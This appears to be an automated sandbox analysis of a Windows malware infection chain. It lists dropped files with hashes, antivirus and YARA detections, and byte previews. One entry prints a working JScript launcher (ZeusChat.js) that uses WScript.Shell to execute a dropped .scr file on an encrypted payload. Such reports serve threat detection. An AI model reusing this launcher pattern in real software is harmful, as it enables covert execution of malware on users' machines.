Entropy (8bit):	3.2757603795937604
Encrypted:	false
SSDEEP:	3072:94cy1RTZcD7DKTrsNbSuPtsrWUNZp9LTVUBfTJz6LxcDCZ2ijr2SM8jr2SMpjr2k:9kRCDKgRP8l9LeBfgxL3AkA9A9A9AB8
MD5:	5DD45593985C6B40D1D2DEA0CE9A2FCF
SHA1:	700FB24D4F4E302ED94F755FA6F7CAF9D6FB594E
SHA-256:	237E715B292E3EBFDF7038D42290F9A6457F0375EE965E1236BD763BCE413391
SHA-512:	CA4E7DF463B3D5643DECFDA936E4D7DB1E3247C8F27A25ACE150886A0C3EC2E79F1D82D2C4CBD5B89F42DEAF4CD5709A7CA47D24A18ED1E1804B0C1E016966A3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................." ..0......V........... ........... .......................`............`...@......@............... ...................................U..........................\...8............................................................ ..H............text........ ...................... ..`.rsrc....U.......V..................@..@........................................H............5.........../..H............................................0..W........s+...}.....r...ps,...}.....s....}.....(-.....}......ow...}.....(....... ...s....o".....0..)........{.........(/...t......\|......(...+...3.....0..)........{.........(1...t......\|......(...+...3...{......{....N..{....ov....~s....~u....~s...f.{....%-.&+...o2...~s....~u....0............}.....{w....[.....[...(3...9......Z.....Z...(3...,8.\|x....(....o....oo...}Z....\|x....(....o....oq...}Y...+6.\|x

C:\Program Files\TaskbarMonitor\TaskbarMonitorInstaller.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3057744
Entropy (8bit):	3.5823472837432373
Encrypted:	false
SSDEEP:	24576:CgbBjk38WuBcAbwoA/BkjSHXP36RMGlPjoUViiiCiNaXy:DbCSA/Bkj0SnViiilb
MD5:	EFD35E14043220E2EC5E545BE98A442C
SHA1:	A868CF35DCD96D7E5350A881C0334C77DC5CCB3D
SHA-256:	226E462DB2AF7DE92709A62FD69DAF887C48D3D166616C8EDE3C56AC16DE3CCE
SHA-512:	92894619A9EBADEF30365054C4DEEC0D229E3ACFE7AD142A65686B24416D4080E2064BE073AB6CD7A001741A8A3D1B0729444FCF8E3B11633D190578CFA8970A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.... o..........."...0..2(..X........... .....@..... ..............................F8/...`...@......@............... ...............................`(.LV..............P............P(.8............................................................ ..H............text...21(.. ...2(................. ..`.rsrc...LV...`(..X...4(.............@..@........................................H........1..@6...........g....'..........................................0..........r...p(....s8...%s....%r5..p(....o....%r[..p(....o....%r...p(....o....%r...p(....o....(....o....o1...%s....%r5..po....o3...%.&(....r...p(....o5...%.(....r...p(....o7......,....o....r...p(....,..(....&+..(....(....r'..p( ...(!...&...0............5...%.rs..p.%.r...p.%.rK..p.%.r...p.%.r...p.%.r]..p...s".....io#.....r...p...5...%.r...p.%...%.r...p.%...%.r...p.($......Ps%.......o&.....('....o(............

C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	843264
Entropy (8bit):	1.7551580166259364
Encrypted:	false
SSDEEP:	768:0v8filIL0dsBMSuA+wvT66i5UThhhhhhhhhhhhhhhhhhhhhhhhhhhvGrrrrrrrri:0m+rqxemVRl
MD5:	83CB0BC837735939E2E422F33B6D544E
SHA1:	A34AF0DE2275F27A278A6C294EA35FF1881B4E42
SHA-256:	1A7BC60F31B44F6EB8F0988F06F6072B2BCA123051B67D27CE49C3982CFD962F
SHA-512:	D67F7D6D3F01184874D7350A23B1714AB3429085E5732952BB42E56A36A2B7EA1F77353D860BE5185769D8430CC7489961B84ED05AF511FF747A46353F278953
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...lwg..........."...0......X........... .....@..... ....................... ............`...@......@............... ..................................$W..........................8...8............................................................ ..H............text....... ...................... ..`.rsrc...$W.......X..................@..@........................................H........+...#...........O...R...........................................0..........(....o....o.....2.(....&(....-.r...p(....&....(.....(.....(...........s....(....(....s....s ........~....o!...&("..........s#...o$...s....%......~....(%......,..o&......(......~....o'........(......................................2.o(...(........0.. ........s......o)....o.......,..o&.....................~....o.....{...."..}....*....0..h..........;...%. .....%. &....}......}.....(+.....(.....(..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_926085a3ba.exe_fea48d32805638355fe1e4cef1d7a4c560d63_30c5dafc_a0c6997e-ad65-4878-93db-73a738a0771b\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.020169946609725
Encrypted:	false
SSDEEP:	96:wOFa+wF1espKhHpQ7yuSKvXIxcQJc64cECcw3Cv1M+HbHgnoW6HeonsFERDRbkO6:P6eImn8oGvjNKN2Du76hfAlx8Y
MD5:	490B5290B6045EED5B38D439EBB30C88
SHA1:	88A3E42C96296B532546EFF9364CAEDDD7FF2038
SHA-256:	05C63F408E77AF41D69ED890A66D118992DEEFDFB95771FC4285D3567BCE843C
SHA-512:	1B4018D696F89805262113A3423695BFC77D2E35AD353255EDE4A3949374C6BCEE783D9DC7CCB001489FDB7938C7977E0316C8423D4C58D32D0F776B16C2D36C
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.6.4.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.3.7.0.7.0.5.0.4.6.5.7.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.3.7.0.7.0.5.3.9.0.2.2.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.0.c.6.9.9.7.e.-.a.d.6.5.-.4.8.7.8.-.9.3.d.b.-.7.3.a.7.3.8.a.0.7.7.1.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.d.a.2.0.e.c.f.-.3.5.e.d.-.4.0.1.f.-.b.1.7.9.-.3.d.1.0.a.7.d.8.d.a.1.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.9.2.6.0.8.5.a.3.b.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.3.c.-.0.0.0.1.-.0.0.5.0.-.d.1.d.7.-.3.a.4.f.7.a.4.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.7.0.2.4.4.2.8.d.9.7.9.5.6.1.a.c.9.d.7.6.3.5.c.4.5.a.1.5.0.7.a.0.0.0.0.f.f.f.f.!.0.0.0.0.8.5.7.f.b.4.8.5.2.f.3.1.4.2.8.e.a.d.5.e.2.d.9.f.b.d.5.b.f.b.1.6.d.9.7.1.4.d.1.a.!.9.2.6.0.8.5.a.3.b.a...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.1././.1.9.:.1.8.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER27.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8990
Entropy (8bit):	3.698937369712197
Encrypted:	false
SSDEEP:	192:R9l7lZNibI76YtNhUUgmfZK1VpDRC89bsPaf06Em:R9lnNi076YHhUUgmfZW7sSfB
MD5:	86716F2D3E7B461849B824C7F51DD54F
SHA1:	3F399CB5654E04D5F379BF4F05BACB5E6E428046
SHA-256:	FD2FCCDA91E5B4BCD8752291A7D7F2047EB027E11DAF4D04ADC74BEF5C5ED467
SHA-512:	7F9E8D6657EDAF2D23436186C5C4EC680CE773375DEE5541330466F2DAAF521B9FB55855A1B1365B836B799B17E170D21F405FFE145CBB5798D4A37B3982F9A9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER47.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4951
Entropy (8bit):	4.465719025107746
Encrypted:	false
SSDEEP:	48:cvIwwtl8zs0e70xzI7VFJ5WS2Cfjk2s3rm8M4JoDwOFSmyq8vyDw7e9jPEd:uILfZ7y8ySPfIJ0WDe9jPEd
MD5:	3AAE2DC8684B69CE016378757BB969C1
SHA1:	A75691AC9332634E806AA2402CDC4CB7BED857AA
SHA-256:	AA9D985CF2949D71A3720383317DAAA82F1B5D8F79A2BB275551C6C49540DD49
SHA-512:	5BE6F8BDE91DDC4E27F2B9CA425DB42C71FDAE90FBF9B407CC5128FA555173BB2FC3290ED12A423059848C20F78EEBF255C5F16D7648F04EE6A86951598FA84B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222953369" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\ProgramData\Microsoft\Windows\WER\Temp\WER54.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79876
Entropy (8bit):	3.063659662181772
Encrypted:	false
SSDEEP:	1536:C3yvOlm+5RVUtXjPWYWltNFMymZydPydLyS67dle4RykDoynxy/e4BUyxxyU3UyF:C3yvOlm+5RVUtXjPWYW3NFMymZydPydF
MD5:	B4DF66F88157AD60B623DA72467510BA
SHA1:	53DB9234B78A9CF7D8BF64A679316D5C900544A4
SHA-256:	F3FC09A1DD2D5BD3A575152208FD9C46C8071B734C76A64EA0069DC77CA9BBD0
SHA-512:	52A97900332BEC44A1F9FC0A6B2D89C5C2B6CC44B3D15EC020B1C5BC2A9842445A589B13A59EABAD0A743839C926F4AA22D42258D7D83543E663CA1415A49E48
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER94.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.7014004123118
Encrypted:	false
SSDEEP:	96:KilQ92hojvZwLYFYZWGHhYEZCpqt7iXgx7WlwGpLVrLaPdIeMYXBOI8Q3:flQwLS3f3faFIeMgBZ8Q3
MD5:	DC4E91DBAE24FBFDB16F490B1758A0E9
SHA1:	B87F62DC0A797E73A052B2CF16794D6B7C368C42
SHA-256:	41299998792ADA75FC95FCBA40DDCC18F15D3C3F56A40DF356EEB1F0E4F07F21
SHA-512:	ED3AFE5DFCE029489257684C1F9501B23CB39872216DFFE877777BD1F748FB75207A0036CD9C65D00FD97FEE88BE281E7B383FD128000A7CCFA853EF5320A317
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.7.0.6.2.1.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .4.6.3.8.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFF7A.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 29 16:18:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	195092
Entropy (8bit):	1.5515421863178862
Encrypted:	false
SSDEEP:	768:VY8rpeRvC0KD5NjRoWjaN/cywQ/SSyrQX:/dvNNjRoWGNdwQ/SSyrQ
MD5:	BC2FEBF6A89BB32A146B416E7E2D0DC9
SHA1:	351225DFB5E84F58379401DC244E5921EC0C8E72
SHA-256:	862168F2583AC1AD99FDF235A6E627C737A767D30934E7679A894E096E1B81F0
SHA-512:	FA54564BC5481BEBFC668329C43C7843440D68699526EC99FC122A196EFF2A6B2D259C336210A762ED0291731244D9293CB2EB5E86377041DD2AA10E2CAA87D3
Malicious:	false
Preview:	MDMP..a..... .......Q.Ig............D...............L...........xh..........T.......8...........T...........hH............... ..........."..............................................................................bJ......t#......Lw......................T.......<...N.Ig............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\CyberSphere Dynamics\M

Download File

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	data
Category:	dropped
Size (bytes):	3677337
Entropy (8bit):	7.999944173773252
Encrypted:	true
SSDEEP:	98304:Sd+C1vXUPV85t2oyHCO+0WKt1M3ymwbvVraEB0jPnyk5pKgVKCn:Sd+6vXUKyoU+0WKt1MCmAraEsf95MYn
MD5:	C5718114F703C816800F6BBFDA267EF6
SHA1:	2608C20BA78181641E8A396295DD6F920546DFC6
SHA-256:	F7896C752B429245764E615DEF6319D3790688F7694A493304B4A40599F9F335
SHA-512:	E38E5A3949EF87294ECD705EF27A727B1A139F89F0D5EB4184AB4EB4009CFC58213C746176139220DB1F0AF756316912654AD7A037225FF3329A044B32B80B8B
Malicious:	true
Preview:	.I.h....N.N..04vT..6......@..W..o...5xRz.)...I..i...WO...f..?.....y....t.f.:E^..r..x.(...q.;.n...A-..6.....~ ..w/...v.P..O...g_.Sx.E.."\..6h.~....~..V"...Z....`.+....e...M.E.P....ck!.T...AM....R..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....G.L.'.F...h..............>.......>......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..\|.&..,P..Myn.2..t.W....^.8.Z!...W[.>..8D...>...i..m......_.}8.5...x..2).U.j....R>..#.~.\.......$h_.8..D..X.U..~X...)<.G...]...P9(..f/.._..c.Y.^...g[.T.bg.D....w$ .x9...#.K..{).....A...V..!.+.f./J>I5.._yN`.7l..M.....a2.....\|\|>...z.QRG........K.G..;.rda(..{.l5<...d...Q.....x.=.4..W?_8.<Oj<..;...hy.C.."x....x....g..0.Q..i. /.j...v8...iH.>...

C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.686768795742262
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+6XRfL4EkD5mcVI9zRLBpHFZo5uWAX+6XRfL4EkD5mcVIq:RiJBJHonwWD6XRDJkDR6VRLvHFywWD6m
MD5:	FFE0FDE8FC6A15536CF20B45AE88E16D
SHA1:	8E2D77206CD8056EB813D0484292D966DB045A72
SHA-256:	5B0620B3003383A52520A6B665D0B5CCB9535FBB6F2E3BD511FB884779E0F26B
SHA-512:	A0772270601A7F175F69F657A8E3A58D2B1327569BB01D5130BC933494AB00F86183A868CF50FA72B040BA3A61DB3ABDC2A6B39BA54A7D286EBF9DBF11DB1739
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\CyberSphere Dynamics\\ZeusChat.scr\" \"C:\\Users\\user\\AppData\\Local\\CyberSphere Dynamics\\M\"")

C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr

Download File

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\regasm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
File Type:	CSV text
Category:	modified
Size (bytes):	660
Entropy (8bit):	5.390373388921441
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPyEs51KDLI4MN5td3Qq1BakvoDLI4MWuPakhkk7v:ML9E4Ka11qE4Gv3Qq0E4KZN
MD5:	8034A02CCFD6B12E0C18707D72A7E3E4
SHA1:	3C2C3514E19301D93F57A972BFC26AA2C51FE68B
SHA-256:	48C4F7D8DA5CD9C184D519848ED0ED1C9B90152A0E5DC4C44B772B74E73D008F
SHA-512:	1DE4D77DA9E325E05B6D429094E2797884D13B577495F2B9E0EBCF056DE8A768CC62C5BE6CDE538F1728FF318BA4B8060BC0A7E98A89D31ED9CA591049618CC1
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\d1b08a492d712e019f310913d82efb4d\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\4dac268a38ead99f93898a086bb8c6f6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\a3a3552abaec178f75d88f04f940cde4\System.Windows.Forms.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\1612916fc5ef4b799f4406315a37b75e[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	1.8423709931771086
Encrypted:	false
SSDEEP:	3:SaXH:ScH
MD5:	66EEC6BC0DDFE3CF8DDAD7021575856E
SHA1:	19FA6B34961D13B107F0227382FB8487EB985466
SHA-256:	4D01709FCD599118652E3B27BD0CA97C802F832183D01F76A034755F2BC62FA3
SHA-512:	71BAE8FC638B011075C7AEF65C5F47DBF556591B8A30115113009212E3EC211F8E20A8303E15F691DCCDA1B5A7277723DB6D47AE2634F25A03E06A7A2466C2EB
Malicious:	false
Preview:	"error"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872384
Entropy (8bit):	7.947008849812998
Encrypted:	false
SSDEEP:	49152:ZDAj2BhptjCmGKnaLw7XCvVn4pbvnIbpr:dHhTemvaMDC14pjnIbp
MD5:	B0698083692329746FC840E1694AD615
SHA1:	696199D4618234F764725617866182AC599A72F5
SHA-256:	78573D6499A1657813FEA56D743E918B61A70731865F3BFB13F57F0D2199BDCD
SHA-512:	C938C1DA1E2CBE78F81626DB0AA925F2AABE99D14D9142FAA4D58C1BA647E6F958D48167D0D752DA936DFF58D6F7DDD2FAE501ECCE2758F4B5EC8E1E5DE9BC75
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....r;g..............................J...........@..........................@J......\|....@.................................\p..p....`.......................q...................................................................................... . .P.......^..................@....rsrc........`.......n..............@....idata .....p.......p..............@... ..*..........r..............@...sxqcewcp......0......t..............@...qsltisnc......J......j..............@....taggant.0....J.."...p..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe

Download File

Process:	C:\Users\user\AppData\Local\kreon.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	61110411
Entropy (8bit):	7.9990903471066135
Encrypted:	true
SSDEEP:	1572864:ijBf9EgQ3kxV/SKTLF6LjkLHqF1wjYXjg8L:ilf9EgTzSKTpUkmny8jg8L
MD5:	BC2BBF7F6B7EEF5AD83F5C10CE5F9182
SHA1:	E549EDDFDA5E6AFB86A3BE2F8640DEC6A1DBAB25
SHA-256:	BD8BEED58DE74E6AE410CBDD7B1FEB638BCC5B3805008BAA8EC0282CDDE30987
SHA-512:	6039F082E3EEC995E7FEE733B72E988020196E610DFDAA2E462313213C29829EF124D4C149442B5104AA2C22D0750D5A1031AD1C4ED1FBF4B42D8D3501366381
Malicious:	true
Yara Hits:	Rule: INDICATOR_EXE_Packed_Enigma, Description: Detects executables packed with Enigma, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, Author: ditekSHen Rule: INDICATOR_EXE_Packed_Loader, Description: Detects packed executables observed in Molerats, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...........s..s..s....V.s....T.&s....U.s..(.Z.s..(...s..(...s..(...s...$.s...4.s..s..r..&...s..&...s..&.X.s..&...s..Rich.s..........................PE..L....".c...............!.....~...............@....@.......................................@... .. .... .. ..............4....0.......`..........................x3......T....................0.......f..@............@..x...\... ....................text....,.......................... ..`.rdata..0....@.......2..............@..@.data...PG..........................@....didat.......P......................@....rsrc........`......................@..@.reloc...#.......$..................@..B.enigma1.....0......................@....enigma2.....@..........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1008128
Entropy (8bit):	7.275890809979661
Encrypted:	false
SSDEEP:	24576:JEN/si2azuLhn21szZkveEPNoYeOvxV3mhfyHUCxizDs5oy9F1P:sNz3aWeE6YTifyHUg9PP
MD5:	1AD1C59E56BDBFA6705772D6991EEB02
SHA1:	7529C4210AA4718D0AE074FA517E51C207AB72EC
SHA-256:	A4D1B155F4C6A45D41C45DD4B955384C6F982D1B0B07914E9947226A07998802
